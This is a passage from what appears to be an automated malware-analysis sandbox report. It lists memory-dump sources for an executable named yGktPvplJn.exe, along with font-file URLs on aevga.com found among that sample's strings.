yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUQjIg1_i6t8kCHKm459WxRzS7mw9c.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiAyp8kv8JHgFVrJJLmE0tCMPI.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiAyp8kv8JHgFVrJJLmE0tMMPKzSQ.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLCz7Z1JlFc-K.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 